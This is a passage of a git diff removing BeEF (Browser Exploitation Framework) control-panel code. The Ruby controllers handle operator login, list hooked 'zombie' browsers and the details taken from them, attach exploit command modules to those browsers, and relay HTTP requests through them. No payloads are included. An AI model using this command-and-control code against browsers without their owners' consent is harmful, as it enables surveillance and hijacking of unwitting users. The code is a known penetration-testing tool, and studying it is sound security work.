instructions to the response - zombie_commands = BeEF::Models::Command.all(:zombie_id => hooked_browser.id, :instructions_sent => false) - zombie_commands.each{|command| add_command_instructions(command, hooked_browser)} - - # add all availible autoloading command module instructions to the response - autoloadings = BeEF::Models::Command.all(:autoloadings => { :in_use => true }) - autoloadings.each {|command| add_command_instructions(command, hooked_browser)} - - # executes the requester - requester_run(hooked_browser) - - end - - # set response headers and body - response.set_no_cache - response.header['Content-Type'] = 'text/javascript' - response.header['Access-Control-Allow-Origin'] = '*' - response.header['Access-Control-Allow-Methods'] = 'POST, GET' - response.body = @body - - end - - alias do_POST do_GET - - private - - # Object representing the HTTP request - @request - - # Object representing the HTTP response - @response - - # A string containing the list of BeEF components active in the hooked browser - @beef_js_cmps - - end - -end diff --git a/lib/ui/authentication/authentication.rb b/lib/ui/authentication/authentication.rb deleted file mode 100644 index 9f38c6033..000000000 --- a/lib/ui/authentication/authentication.rb +++ /dev/null @@ -1,137 +0,0 @@ -module BeEF -module UI - -# -# The authentication web page for BeEF. -# -class Authentication < BeEF::HttpController - - # - # Constructor - # - def initialize - super({ - 'paths' => { - '/' => method(:index), - '/login' => method(:login), - '/logout' => method(:logout) - } - }) - - @session = BeEF::UI::Session.instance - end - - # Function managing the index web page - def index - @headers['Content-Type']='text/html; charset=UTF-8' - end - - # - # Function managing the login - # - def login - - username = @params['username-cfrm'] || '' - password = @params['password-cfrm'] || '' - config = BeEF::Configuration.instance - @headers['Content-Type']='application/json; charset=UTF-8' - ua_ip = @request.peeraddr[3] # get client ip address - @body = '{ success : false }' # attempt to fail closed - - # check if source IP address is permited to authenticate - if not permited_source?(ua_ip) - BeEF::Logger.instance.register('Authentication', "IP source address (#{@request.peeraddr[3]}) attempted to authenticate but is not within permitted subnet.") - return - end - - # check if under brute force attack - time = Time.new - if not timeout?(time) - @session.set_auth_timestamp(time) - return - end - - # check username and password - if not (username.eql? config.get('ui_username') and password.eql? config.get('ui_password') ) - BeEF::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has failed to authenticate in the application.") - return - end - - # establish an authenticated session - - # set up session and set it logged in - @session.set_logged_in(ua_ip) - - # create session cookie - session_cookie_name = config.get('session_cookie_name') # get session cookie name - session_cookie = WEBrick::Cookie.new(session_cookie_name, @session.get_id) - session_cookie.path = '/' - session_cookie.httponly = true - - # add session cookie to response header - @headers['Set-Cookie'] = session_cookie.to_s - - BeEF::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has successfuly authenticated in the application.") - @body = "{ success : true }" - end - - # - # Function managing the logout - # - def logout - - # test if session is unauth'd - raise WEBrick::HTTPStatus::BadRequest, "invalid nonce" if not @session.valid_nonce?(@request) - raise WEBrick::HTTPStatus::BadRequest, "invalid session" if not @session.valid_session?(@request) - - @headers['Content-Type']='application/json; charset=UTF-8' - - # set the session to be log out - @session.set_logged_out - - # clean up UA and expire the session cookie - config = BeEF::Configuration.instance - session_cookie_name = config.get('session_cookie_name') # get session cookie name - session_cookie = WEBrick::Cookie.new(session_cookie_name, "") - session_cookie.path = '/' - session_cookie.expires = Time.now - session_cookie.httponly = true - - # add (expired) session cookie to response header - @headers['Set-Cookie'] = session_cookie.to_s - - BeEF::Logger.instance.register('Authentication', "User with ip #{@request.addr} has successfuly logged out.") - @body = "{ success : true }" - - end - - # - # Check the UI browser source IP is within the permitted subnet - # - def permited_source?(ip) - # get permitted subnet - config = BeEF::Configuration.instance - permitted_ui_subnet = config.get('permitted_ui_subnet') - target_network = IPAddr.new(permitted_ui_subnet) - - # test if ip within subnet - return target_network.include?(ip) - end - - # - # Brute Force Mitigation - # Only one login request per login_fail_delay seconds - # - def timeout?(time) - config = BeEF::Configuration.instance - login_fail_delay = config.get('login_fail_delay') # get fail delay - - # test if the last login attempt was less then login_fail_delay seconds - time - @session.get_auth_timestamp > login_fail_delay.to_i - end - - -end - -end -end \ No newline at end of file diff --git a/lib/ui/authentication/index.html b/lib/ui/authentication/index.html deleted file mode 100644 index f54bdb134..000000000 --- a/lib/ui/authentication/index.html +++ /dev/null @@ -1,36 +0,0 @@ - - - BeEF Authentication - - <%= script_tag 'ext-base.js' %> - <%= script_tag 'ext-all.js' %> - <%= script_tag 'ui/authentication.js' %> - - <%= stylesheet_tag 'ext-all.css' %> - - - - - - - -
- - \ No newline at end of file diff --git a/lib/ui/logs/logs.rb b/lib/ui/logs/logs.rb deleted file mode 100644 index fc60ff350..000000000 --- a/lib/ui/logs/logs.rb +++ /dev/null @@ -1,72 +0,0 @@ -module BeEF -module UI - -class Logs < BeEF::HttpController - - def initialize - super({ - 'paths' => { - '/all.json' => method(:select_all_logs), - '/zombie.json' => method(:select_zombie_logs) - } - }) - end - - # Selects logs in the database and returns them in a JSON format. - def select_all_logs - - log = BeEF::Models::Log.all() - raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil? - - # format log - @body = logs2json(log) - - end - - # Selects the logs for a zombie - def select_zombie_logs - - # get params - session = @params['session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "session is nil" if session.nil? - - zombie = BeEF::Models::Zombie.first(:session => session) - raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil? - raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil? - zombie_id = zombie.id - - # get log - log = BeEF::Models::Log.all(:zombie_id => zombie_id) - raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil? - - # format log - @body = logs2json(log) - end - - private - - # Returns a list of logs in JSON format. - def logs2json(logs) - logs_json = [] - count = logs.length - output = '{success: false}' - - logs.each do |log| - logs_json << { - 'id' => log.id.to_i, - 'date' => log.date.to_s, - 'event' => log.event.to_s, - 'type' => log.type.to_s - } - end - - # format output - output = {'success' => 'true', 'count' => count, 'logs' => logs_json}.to_json if not logs_json.empty? - - output - end - -end - -end -end diff --git a/lib/ui/modules/modules.rb b/lib/ui/modules/modules.rb deleted file mode 100644 index 24c5eef78..000000000 --- a/lib/ui/modules/modules.rb +++ /dev/null @@ -1,580 +0,0 @@ -module BeEF -module UI - -# -# -# -class Modules < BeEF::HttpController - - BD = BeEF::Models::BrowserDetails - - def initialize - super({ - 'paths' => { - '/select/commandmodules/all.json' => method(:select_all_command_modules), - '/select/commandmodules/tree.json' => method(:select_command_modules_tree), - '/select/commandmodule.json' => method(:select_command_module), - '/select/command.json' => method(:select_command), - '/select/command_results.json' => method(:select_command_results), - '/select/zombie_summary.json' => method(:select_zombie_summary), - '/commandmodule/commands.json' => method(:select_command_module_commands), - '/commandmodule/new' => method(:attach_command_module), - '/commandmodule/dynamicnew' => method(:attach_dynamic_command_module), - '/commandmodule/reexecute' => method(:reexecute_command_module) - } - }) - - @session = BeEF::UI::Session.instance - end - - # Returns a JSON array containing the summary for a selected zombie. - def select_zombie_summary - - # get the zombie - zombie_session = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil? - zombie = BeEF::Models::Zombie.first(:session => zombie_session) - raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil? - - # init the summary grid - summary_grid_hash = { - 'success' => 'true', - 'results' => [] - } - - # set and add the return values for the page title - page_title = BD.get(zombie_session, 'PageTitle') - if not page_title.nil? - encoded_page_title = CGI.escapeHTML(page_title) - encoded_page_hash = { 'Page Title' => encoded_page_title } - - page_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => encoded_page_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(page_name_row) # add the row - end - - # set and add the return values for the host name - host_name = BD.get(zombie_session, 'HostName') - if not host_name.nil? - encoded_host_name = CGI.escapeHTML(host_name) - encoded_host_name_hash = { 'Host Name' => encoded_host_name } - - page_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => encoded_host_name_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(page_name_row) # add the row - end - - # set and add the return values for the os name - os_name = BD.get(zombie_session, 'OsName') - if not host_name.nil? - encoded_os_name = CGI.escapeHTML(os_name) - encoded_os_name_hash = { 'OS Name' => encoded_os_name } - - page_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => encoded_os_name_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(page_name_row) # add the row - end - - # set and add the return values for the browser name - browser_name = BD.get(zombie_session, 'BrowserName') - if not browser_name.nil? - friendly_browser_name = BeEF::Constants::Browsers.friendly_name(browser_name) - browser_name_hash = { 'Browser Name' => friendly_browser_name } - - browser_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => browser_name_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(browser_name_row) # add the row - end - - # set and add the return values for the browser version - browser_version = BD.get(zombie_session, 'BrowserVersion') - if not browser_version.nil? - encoded_browser_version = CGI.escapeHTML(browser_version) - browser_version_hash = { 'Browser Version' => encoded_browser_version } - - browser_version_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => browser_version_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(browser_version_row) # add the row - end - - # set and add the list of plugins installed in the browser - browser_plugins = BD.get(zombie_session, 'BrowserPlugins') - if not browser_plugins.nil? and not browser_plugins.empty? - encoded_browser_plugins = CGI.escapeHTML(browser_plugins) - encoded_browser_plugins_hash = { 'Browser Plugins' => encoded_browser_plugins } - - page_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => encoded_browser_plugins_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(page_name_row) # add the row - end - - # set and add the internal ip address - internal_ip = BD.get(zombie_session, 'InternalIP') - if not internal_ip.nil? - encoded_internal_ip = CGI.escapeHTML(internal_ip) - encoded_internal_ip_hash = { 'Internal IP' => encoded_internal_ip } - - page_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => encoded_internal_ip_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(page_name_row) # add the row - end - - # set and add the internal hostname - internal_hostname = BD.get(zombie_session, 'InternalHostname') - if not internal_hostname.nil? - encoded_internal_hostname = CGI.escapeHTML(internal_hostname) - encoded_internal_hostname_hash = { 'Internal Hostname' => encoded_internal_hostname } - - page_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => encoded_internal_hostname_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(page_name_row) # add the row - end - - @body = summary_grid_hash.to_json - end - - # Returns the list of all command_modules in a JSON format - def select_all_command_modules - @body = command_modules2json(Dir["#{$root_dir}/modules/commands/**/*.rb"]) - end - - # Returns the list of all command_modules for a TreePanel in the interface. - def select_command_modules_tree - command_modules_tree_array = [] - command_modules_categories = [] - - # get an array of all the command modules in the database - db_command_modules = BeEF::Models::CommandModule.all(:order => [:id.asc]) - raise WEBrick::HTTPStatus::BadRequest, "db_command_modules is nil" if db_command_modules.nil? - - db_command_modules.each {|command_module_db_details| - - # get the hooked browser session id and set it in the command module - hook_session_id = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "hook_session_id is nil" if hook_session_id.nil? - - # create an instance of the comand module - command_module_name = File.basename command_module_db_details.path, '.rb' # get the name - command_module = BeEF::Modules::Commands.const_get(command_module_name.capitalize).new - command_module.session_id = hook_session_id - command_module.update_info(command_module_db_details.id) if(command_module_db_details.path.match(/^Dynamic/)) - - - # set command module treeview display properties - command_module_friendly_name = command_module.info['Name'].downcase - command_module_category = command_module.info['Category'].downcase - - # create url path and file for the command module icon - command_module_icon_path = BeEF::Constants::CommandModule::MODULE_TARGET_IMG_PATH # add icon path - case command_module.verify_target() # select the correct icon for the command module - when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING - command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING_IMG - command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING - when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY - command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY_IMG - command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY - when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING - command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING_IMG - command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING - when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN - command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN_IMG - command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN - else - command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN_IMG - command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN - end - - # construct the category branch if it doesn't exist for the command module tree - if not command_modules_categories.include? command_module_category - command_modules_categories.push(command_module_category) # flag that the categor has been added - command_modules_tree_array.push({ # add the branch structure - 'text' => command_module_category, - 'cls' => 'folder', - 'children' => [] - }) - end - - # construct leaf node for the command module tree - leaf_node = { - 'text' => command_module_friendly_name, - 'leaf' => true, - 'icon' => command_module_icon_path, - 'status' => command_module_status, - 'id' => command_module_db_details.id - } - - # add the node to the branch in the command module tree - command_modules_tree_array.each {|x| - if x['text'].eql? command_module_category - x['children'].push( leaf_node ) - break - end - } - - } - - # sort the parent array nodes - command_modules_tree_array.sort! {|a,b| a['text'] <=> b['text']} - - # sort the children nodes by status then alpha - command_modules_tree_array.each {|x| - x['children'] = x['children'].sort_by {|a| [a['status'], a['text']]} - } - - # append the number of command modules so the branch name results in: " (num)" - command_modules_tree_array.each {|command_module_branch| - num_of_command_modules = command_module_branch['children'].length - command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")" - } - - # return a JSON array of hashes - @body = command_modules_tree_array.to_json - end - - # Returns the absolute path of the rb file mapped to the id in the database - def get_command_module_path(command_module_id) - - # get command_module from database - raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil? - command_module = BeEF::Models::CommandModule.first(:id => command_module_id) - raise WEBrick::HTTPStatus::BadRequest, "Invalid command_module id" if command_module.nil? - - # Dynamic modules won't have a real path - return command_module.path if (command_module.path.match(/^Dynamic/)) - - # construct command_module path - absolute_command_module_path = $root_dir+File::SEPARATOR+command_module.path - raise WEBrick::HTTPStatus::BadRequest, "command_module file does not exist" if not File.exists?(absolute_command_module_path) - - absolute_command_module_path - end - - - # Returns the inputs definition of an command_module. - def select_command_module - - # get command_module id - command_module_id = @params['command_module_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "command_module_id is nil" if command_module_id.nil? - - # get the command_module path - absolute_command_module_path = get_command_module_path(command_module_id) - - # check if the request relates to a dynamic module - if(absolute_command_module_path.match(/^Dynamic/)) - # get command_module id - payload_name = @params['payload_name'] || nil - - if not payload_name.nil? - @body = dynamic_payload2json(command_module_id, payload_name) - else - @body = dynamic_modules2json(command_module_id); - end - else - @body = command_modules2json([absolute_command_module_path]); - end - end - - # Returns the list of commands for an command_module - def select_command_module_commands - commands = [] - i=0 - - # get params - zombie_session = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil? - command_module_id = @params['command_module_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil? - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - # get the browser id - zombie = Z.first(:session => zombie_session) - raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil? - zombie_id = zombie.id - raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil? - - C.all(:command_module_id => command_module_id, :zombie_id => zombie_id).each do |command| - commands.push({ - 'id' => i, - 'object_id' => command.id, - 'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s, - 'label' => command.label - }) - i+=1 - end - - @body = { - 'success' => 'true', - 'commands' => commands}.to_json - - end - - # Attaches an command_module to a zombie. - def attach_command_module - - definition = {} - - # get params - zombie_session = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil? - command_module_id = @params['command_module_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil? - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - @params.keys.each {|param| - raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not Filter.has_valid_param_chars?(param) - raise WEBrick::HTTPStatus::BadRequest, "first char is num" if Filter.first_char_is_num?(param) - definition[param[4..-1]] = params[param] - oc = BeEF::Models::OptionCache.first_or_create(:name => param[4..-1]) - oc.value = params[param] - oc.save - } - - zombie = Z.first(:session => zombie_session) - raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil? - zombie_id = zombie.id - raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil? - - C.new( :data => definition.to_json, - :zombie_id => zombie_id, - :command_module_id => command_module_id, - :creationdate => Time.new.to_i - ).save - - @body = '{success : true}' - end - - # Re-execute an command_module to a zombie. - def reexecute_command_module - - # get params - command_id = @params['command_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil? - command = BeEF::Models::Command.first(:id => command_id.to_i) || nil - raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil? - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - command.has_run = false - command.save - - @body = '{success : true}' - end - - def attach_dynamic_command_module - - definition = {} - - # get params - zombie_session = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil? - command_module_id = @params['command_module_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil? - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - @params.keys.each {|param| - raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not Filter.has_valid_param_chars?(param) - raise WEBrick::HTTPStatus::BadRequest, "first char is num" if Filter.first_char_is_num?(param) - definition[param[4..-1]] = params[param] - oc = BeEF::Models::OptionCache.first_or_create(:name => param[4..-1]) - oc.value = params[param] - oc.save - } - - zombie = Z.first(:session => zombie_session) - raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil? - zombie_id = zombie.id - raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil? - - mod = BeEF::Models::CommandModule.first(:id => command_module_id) - - # if the module id is not in the database return false - return {'success' => 'false'}.to_json if(not mod) - - # the path will equal Dynamic/ and this will get just the type - dynamic_type = mod.path.split("/").last - e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new - e.update_info(command_module_id) - e.update_data() - ret = e.launch_exploit(definition) - - return {'success' => 'false'}.to_json if ret['result'] != 'success' - - basedef = {} - basedef['sploit_url'] = ret['uri'] - - C.new( :data => basedef.to_json, - :zombie_id => zombie_id, - :command_module_id => command_module_id, - :creationdate => Time.new.to_i - ).save - - @body = '{success : true}' - end - - # Returns the results of a command - def select_command_results - results = [] - - # get params - command_id = @params['command_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil? - command = BeEF::Models::Command.first(:id => command_id.to_i) || nil - raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil? - - # get command_module - command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id) - raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil? - command_module_name = File.basename command_module.path, '.rb' - - resultsdb = BeEF::Models::Result.all(:command_id => command_id) - raise WEBrick::HTTPStatus::BadRequest, "Command id result is nil" if resultsdb.nil? - - resultsdb.each{ |result| results.push({'date' => result.date, 'data' => JSON.parse(result.data)}) } - - @body = { - 'success' => 'true', - 'command_module_name' => command_module_name, - 'command_module_id' => command_module.id, - 'results' => results}.to_json - - end - - # Returns the definition of a command. - # In other words it returns the command that was used to command_module a zombie. - def select_command - - # get params - command_id = @params['command_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil? - command = BeEF::Models::Command.first(:id => command_id.to_i) || nil - raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil? - - command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id) - raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil? - command_module_name = File.basename command_module.path, '.rb' - - e = BeEF::Modules::Commands.const_get(command_module_name.capitalize).new - - @body = { - 'success' => 'true', - 'command_module_name' => command_module_name, - 'command_module_id' => command_module.id, - 'data' => JSON.parse(command.data), - 'definition' => JSON.parse(e.to_json) - }.to_json - - end - - private - - # Takes a list of command_modules and returns them as a JSON array - def command_modules2json(command_modules) - command_modules_json = {} - i = 1 - - command_modules.each do |command_module| - next if not File.exists?(command_module) - - e = File.basename command_module, '.rb' - e = BeEF::Modules::Commands.const_get(e.capitalize).new - command_modules_json[i] = JSON.parse(e.to_json) - i += 1 - end - - if not command_modules_json.empty? - return {'success' => 'true', 'command_modules' => command_modules_json}.to_json - else - return {'success' => 'false'}.to_json - end - end - - # return the input requred for the module in JSON format - def dynamic_modules2json(id) - command_modules_json = {} - - mod = BeEF::Models::CommandModule.first(:id => id) - - # if the module id is not in the database return false - return {'success' => 'false'}.to_json if(not mod) - - # the path will equal Dynamic/ and this will get just the type - dynamic_type = mod.path.split("/").last - - e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new - e.update_info(mod.id) - e.update_data() - command_modules_json[1] = JSON.parse(e.to_json) - if not command_modules_json.empty? - return {'success' => 'true', 'dynamic' => 'true', 'command_modules' => command_modules_json}.to_json - else - return {'success' => 'false'}.to_json - end - end - - def dynamic_payload2json(id, payload_name) - command_modules_json = {} - - dynamic_command_module = BeEF::Models::CommandModule.first(:id => id) - raise WEBrick::HTTPStatus::BadRequest, "Module does not exists" if dynamic_command_module.nil? - - # the path will equal Dynamic/ and this will get just the type - dynamic_type = dynamic_command_module.path.split("/").last - - # get payload options in JSON - e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new - payload_options_json = [] - payload_options_json[1] = e.get_payload_options(payload_name) - raise WEBrick::HTTPStatus::BadRequest, "Payload JSON generation error" if payload_options_json.empty? - - return {'success' => 'true', 'command_modules' => payload_options_json}.to_json - - end - -end - -end -end diff --git a/lib/ui/panel/index.html b/lib/ui/panel/index.html deleted file mode 100644 index 7957e2dc5..000000000 --- a/lib/ui/panel/index.html +++ /dev/null @@ -1,48 +0,0 @@ - - - - BeEF Control Panel - - - - <%= script_tag 'ext-base.js' %> - <%= script_tag 'ext-all.js' %> - <%= script_tag 'ext-beef.js' %> - <%= script_tag 'ux/TabCloseMenu.js' %> - <%= script_tag 'ux/StatusBar.js' %> - <%= script_tag 'ux/PagingStore.js' %> - - <%= script_tag 'ui/panel/common.js' %> - <%= script_tag 'ui/panel/DistributedEngine.js' %> - <%= script_tag 'ui/panel/PanelStatusBar.js' %> - - <%= script_tag 'ui/panel/tabs/ZombieTabDetails.js' %> - <%= script_tag 'ui/panel/tabs/ZombieTabLogs.js' %> - <%= script_tag 'ui/panel/tabs/ZombieTabCommands.js' %> - <%= script_tag 'ui/panel/tabs/ZombieTabRequester.js' %> - - <%= script_tag 'ui/panel/PanelViewer.js' %> - <%= script_tag 'ui/panel/DataGrid.js' %> - <%= script_tag 'ui/panel/MainPanel.js' %> - <%= script_tag 'ui/panel/ZombieTab.js' %> - <%= script_tag 'ui/panel/ZombieTabs.js' %> - <%= script_tag 'ui/panel/zombiesTreeList.js' %> - <%= script_tag 'ui/panel/ZombiesMgr.js' %> - - <%= script_tag 'ui/panel/Logout.js' %> - <%= script_tag 'ui/panel/WelcomeTab.js' %> - - <%= stylesheet_tag 'ext-all.css' %> - <%= stylesheet_tag 'base.css' %> - - - - <%= nonce_tag %> - - - - diff --git a/lib/ui/panel/panel.rb b/lib/ui/panel/panel.rb deleted file mode 100644 index 6048a528a..000000000 --- a/lib/ui/panel/panel.rb +++ /dev/null @@ -1,87 +0,0 @@ -module BeEF -module UI - -# -# -# -class Panel < BeEF::HttpController - - def initialize - super({ - 'paths' => { - '/' => method(:index), - '/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update) - } - }) - end - - # default index page - def index; end - - # return a JSON object contains all the updates for the hooked browser trees - def hooked_browser_tree_update - # retrieve the hbs that are online - hooked_browsers_online = zombies2json_simple(BeEF::Models::Zombie.all(:lastseen.gte => (Time.new.to_i - 30))) - - # retrieve the hbs that are offline - hooked_browsers_offline = zombies2json_simple(BeEF::Models::Zombie.all(:lastseen.lt => (Time.new.to_i - 30))) - - # retrieve the distributed engine rules that are enabled - distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Models::DistributedEngineRules.all(:enabled => true)) - - # hash that gets populated with all the information for the hb trees - ret = { - 'success' => true, - - # the list of hb - 'hooked-browsers' => { - 'online' => hooked_browsers_online, - 'offline' => hooked_browsers_offline - }, - - # the rules for the distributed engine - 'ditributed-engine-rules' => distributed_engine_rules - } - - @body = ret.to_json - end - - # Takes a list distributed engine rules and format the results into JSON - def distributed_engine_rules_2_json_simple(rules) - - end - - # Takes a list of zombies and format the results in a JSON array. - def zombies2json_simple(zombies) - zombies_hash = {} - i = 0 - - zombies.each do |zombie| - # create hash of zombie details - zombies_hash[i] = (get_simple_hooked_browser_hash(zombie)) - i+=1 - end - - zombies_hash - end - - # create a hash of simple hooked browser details - def get_simple_hooked_browser_hash(hooked_browser) - - browser_icon = BeEF::Models::BrowserDetails.browser_icon(hooked_browser.session) - os_icon = BeEF::Models::BrowserDetails.os_icon(hooked_browser.session) - domain = BeEF::Models::BrowserDetails.get(hooked_browser.session, 'HostName') - - return { - 'session' => hooked_browser.session, - 'ip' => hooked_browser.ip, - 'domain' => domain, - 'browser_icon' => browser_icon, - 'os_icon' => os_icon - } - - end -end - -end -end \ No newline at end of file diff --git a/lib/ui/requester/requester.rb b/lib/ui/requester/requester.rb deleted file mode 100644 index bcc5d3930..000000000 --- a/lib/ui/requester/requester.rb +++ /dev/null @@ -1,145 +0,0 @@ -module BeEF -module UI - -# -# HTTP Controller for the Requester component of BeEF. -# -class Requester < BeEF::HttpController - - # Variable representing the Http DB model. - H = BeEF::Models::Http - - def initialize - super({ - 'paths' => { - '/send' => method(:send_request), - '/history.json' => method(:get_zombie_history), - '/response.json' => method(:get_zombie_response) - } - }) - end - - # Send a new http request to the hooked browser. - def send_request - # validate that the hooked browser's session has been sent - zombie_session = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid session id" if not Filter.is_valid_hook_session_id?(zombie_session) - - # validate that the hooked browser exists in the db - zombie = Z.first(:session => zombie_session) || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil? - - # validate that the raw request has been sent - raw_request = @params['raw_request'] || nil - raise WEBrick::HTTPStatus::BadRequest, "raw_request is nil" if raw_request.nil? - raise WEBrick::HTTPStatus::BadRequest, "raw_request contains non-printable chars" if not Filter.has_non_printable_char?(raw_request) - - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - # validate that the raw request is correct and can be used - req_parts = raw_request.split(/ |\n/) # break up the request - verb = req_parts[0] - raise 'Only GET or POST requests are supported' if not Filter.is_valid_verb?(verb) #check verb - uri = req_parts[1] - raise 'Invalid URI' if not Filter.is_valid_url?(uri) #check uri - version = req_parts[2] - raise 'Invalid HTTP version' if not Filter.is_valid_http_version?(version) # check http version - HTTP/1.0 - host_str = req_parts[3] - raise 'Invalid HTTP version' if not Filter.is_valid_host_str?(host_str) # check host string - Host: - host = req_parts[4] - host_parts = host.split(/:/) - hostname = host_parts[0] - raise 'Invalid hostname' if not Filter.is_valid_hostname?(hostname) # check the target hostname - hostport = host_parts[1] || nil - if !hostport.nil? - raise 'Invalid hostport' if not Filter.nums_only?(hostport) # check the target hostport - end - - # (re)build the request - green_request = StringIO.new(verb + " " + uri + " " + version + "\n" + host_str + " " + host) - request = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP) - request.parse(green_request) - - # Saves the new HTTP request. - http = H.new( - :request => raw_request, - :method => request.request_method, - :domain => request.host, - :path => request.unparsed_uri, - :date => Time.now, - :zombie_id => zombie.id - ) - - if request.request_method.eql? 'POST' - http.content_length = request.content_length - end - - http.save - - @body = '{success : true}' - end - - # Returns a JSON object containing the history of requests sent to the zombie. - def get_zombie_history - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - # validate that the hooked browser's session has been sent - zombie_session = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil? - - # validate that the hooked browser 